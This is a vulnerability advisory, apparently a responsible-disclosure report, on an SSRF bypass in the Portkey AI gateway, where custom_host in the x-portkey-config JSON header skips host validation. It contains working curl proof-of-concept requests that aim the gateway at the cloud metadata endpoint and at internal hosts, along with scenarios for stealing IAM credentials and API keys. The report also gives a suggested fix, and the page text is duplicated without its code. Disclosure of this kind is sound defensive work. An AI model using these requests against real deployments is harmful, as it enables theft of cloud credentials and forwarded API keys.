SSRF via x-portkey-config JSON custom_host bypasses isValidCustomHost validation
Summary
The isValidCustomHost() function in src/middlewares/requestValidator/index.ts provides comprehensive SSRF protection (blocking private IPs, cloud metadata endpoints 169.254.169.254, internal TLDs, homograph attacks, DNS rebinding, etc.). However, this validation is only applied to the x-portkey-custom-host header, not to the custom_host field within the x-portkey-config JSON configuration.
An attacker can bypass all SSRF protections by passing custom_host inside the x-portkey-config JSON header instead of using the standalone x-portkey-custom-host header. The gateway will then make server-side requests to arbitrary internal/external destinations, including cloud instance metadata endpoints.
Affected Version
@portkey-ai/gateway (latest, commit 669825c)
Root Cause — Source Code Analysis
Validation applied to header path only (src/middlewares/requestValidator/index.ts lines 148-149):
const customHostHeader = requestHeaders[`x-${POWERED_BY}-custom-host`];
if (customHostHeader && !isValidCustomHost(customHostHeader, c)) {
return new Response(JSON.stringify({ status: 'failure', message: 'Invalid custom host' }), { status: 400 });
}
JSON config parsed but NOT validated (src/middlewares/requestValidator/index.ts lines 164-166):
if (requestHeaders[`x-${POWERED_BY}-config`]) {
const parsedConfig = JSON.parse(requestHeaders[`x-${POWERED_BY}-config`]);
// ❌ No validation of parsedConfig.custom_host
}
custom_host flows unvalidated to HTTP request — the chain:
constructConfigFromRequestHeaders() parses JSON → convertKeysToCamelCase() converts custom_host → customHost (src/handlers/handlerUtils.ts line 1130)
tryTargetsRecursively() propagates customHost to target config (src/handlers/handlerUtils.ts lines 546-550)
RequestContext.customHost getter reads this.providerOption.customHost (src/handlers/services/requestContext.ts lines 127-132)
ProviderContext.getFullURL() uses it as base URL: const baseURL = context.customHost || (await this.getBaseURL(context)) (src/handlers/services/providerContext.ts line 97)
- Final URL:
${attacker_controlled_host}${reqPath}${reqQuery} — full SSRF
Proof of Concept
SSRF to cloud metadata (AWS IMDS):
curl -X GET "https://your-gateway-instance/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "x-portkey-provider: openai" \
-H "Authorization: Bearer sk-any-key" \
-H 'x-portkey-config: {"provider":"openai","api_key":"sk-test","custom_host":"http://169.254.169.254"}'
The gateway will make a server-side GET request to http://169.254.169.254/latest/meta-data/ (since reqPath after stripping /v1 is /chat/completions... actually for GET it would be the path appended to customHost).
SSRF to internal service with credential theft:
curl -X POST "https://your-gateway-instance/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "x-portkey-provider: openai" \
-H "Authorization: Bearer sk-VICTIM-API-KEY" \
-H 'x-portkey-config: {"provider":"openai","api_key":"sk-test","custom_host":"http://10.0.0.1:8080"}' \
-d '{"model":"gpt-4o","messages":[{"role":"user","content":"exfiltrate"}]}'
The gateway forwards the request (including the victim's API key in Authorization header) to http://10.0.0.1:8080/v1/chat/completions.
Same request with x-portkey-custom-host header is correctly blocked:
curl -X POST "https://your-gateway-instance/v1/chat/completions" \
-H "x-portkey-custom-host: http://169.254.169.254" \
-H "x-portkey-provider: openai" \
-H "Authorization: Bearer sk-test" \
-d '{"model":"gpt-4o","messages":[{"role":"user","content":"test"}]}'
# Returns: 400 {"status":"failure","message":"Invalid custom host"} ✅
Impact
| Attack Vector |
x-portkey-custom-host header |
x-portkey-config JSON custom_host |
| Cloud metadata (169.254.169.254) |
✅ Blocked |
❌ Bypassed |
| Private IPs (10.x, 172.16.x, 192.168.x) |
✅ Blocked |
❌ Bypassed |
| Internal TLDs (.local, .internal) |
✅ Blocked |
❌ Bypassed |
| Homograph attacks |
✅ Blocked |
❌ Bypassed |
| DNS rebinding |
✅ Blocked |
❌ Bypassed |
CVSS 3.1 Assessment
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 (High)
- Network-accessible, low complexity, low privilege (valid API key)
- Scope changed (gateway → internal resources)
- High confidentiality impact (cloud credentials, internal service data)
Attack Scenarios
- Cloud credential theft: Access
http://169.254.169.254/latest/meta-data/iam/security-credentials/ to steal IAM role credentials from cloud-hosted gateway instances
- Internal network scanning: Probe internal services (RFC-1918 ranges) through the gateway
- API key exfiltration: The gateway forwards Authorization headers to the attacker-specified host, leaking victim API keys to internal/external servers
- Data exfiltration: Request bodies containing sensitive data are forwarded to attacker-controlled endpoints
Suggested Fix
Apply isValidCustomHost() validation to custom_host from the JSON config in constructConfigFromRequestHeaders(), or validate it during the x-portkey-config parsing in the request validator middleware:
// In src/middlewares/requestValidator/index.ts, after parsing JSON config:
if (requestHeaders[`x-${POWERED_BY}-config`]) {
const parsedConfig = JSON.parse(requestHeaders[`x-${POWERED_BY}-config`]);
// Add validation for custom_host in JSON config
if (parsedConfig.custom_host && !isValidCustomHost(parsedConfig.custom_host, c)) {
return new Response(JSON.stringify({ status: 'failure', message: 'Invalid custom host in config' }), { status: 400 });
}
// Also check targets array
if (Array.isArray(parsedConfig.targets)) {
for (const target of parsedConfig.targets) {
if (target.custom_host && !isValidCustomHost(target.custom_host, c)) {
return new Response(JSON.stringify({ status: 'failure', message: 'Invalid custom host in target config' }), { status: 400 });
}
}
}
}
Related
Responsible Disclosure
Reported via community channel. Happy to provide additional reproduction details or assist with verification.
SSRF via
x-portkey-configJSONcustom_hostbypassesisValidCustomHostvalidationSummary
The
isValidCustomHost()function insrc/middlewares/requestValidator/index.tsprovides comprehensive SSRF protection (blocking private IPs, cloud metadata endpoints 169.254.169.254, internal TLDs, homograph attacks, DNS rebinding, etc.). However, this validation is only applied to thex-portkey-custom-hostheader, not to thecustom_hostfield within thex-portkey-configJSON configuration.An attacker can bypass all SSRF protections by passing
custom_hostinside thex-portkey-configJSON header instead of using the standalonex-portkey-custom-hostheader. The gateway will then make server-side requests to arbitrary internal/external destinations, including cloud instance metadata endpoints.Affected Version
@portkey-ai/gateway (latest, commit 669825c)
Root Cause — Source Code Analysis
Validation applied to header path only (
src/middlewares/requestValidator/index.tslines 148-149):JSON config parsed but NOT validated (
src/middlewares/requestValidator/index.tslines 164-166):custom_hostflows unvalidated to HTTP request — the chain:constructConfigFromRequestHeaders()parses JSON →convertKeysToCamelCase()convertscustom_host→customHost(src/handlers/handlerUtils.tsline 1130)tryTargetsRecursively()propagatescustomHostto target config (src/handlers/handlerUtils.tslines 546-550)RequestContext.customHostgetter readsthis.providerOption.customHost(src/handlers/services/requestContext.tslines 127-132)ProviderContext.getFullURL()uses it as base URL:const baseURL = context.customHost || (await this.getBaseURL(context))(src/handlers/services/providerContext.tsline 97)${attacker_controlled_host}${reqPath}${reqQuery}— full SSRFProof of Concept
SSRF to cloud metadata (AWS IMDS):
The gateway will make a server-side GET request to
http://169.254.169.254/latest/meta-data/(sincereqPathafter stripping/v1is/chat/completions... actually for GET it would be the path appended to customHost).SSRF to internal service with credential theft:
The gateway forwards the request (including the victim's API key in Authorization header) to
http://10.0.0.1:8080/v1/chat/completions.Same request with
x-portkey-custom-hostheader is correctly blocked:Impact
x-portkey-custom-hostheaderx-portkey-configJSONcustom_hostCVSS 3.1 Assessment
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 (High)
Attack Scenarios
http://169.254.169.254/latest/meta-data/iam/security-credentials/to steal IAM role credentials from cloud-hosted gateway instancesSuggested Fix
Apply
isValidCustomHost()validation tocustom_hostfrom the JSON config inconstructConfigFromRequestHeaders(), or validate it during thex-portkey-configparsing in the request validator middleware:Related
/v1/proxy/*route missingrequestValidator(different bypass vector)isValidCustomHost(incomplete coverage)Responsible Disclosure
Reported via community channel. Happy to provide additional reproduction details or assist with verification.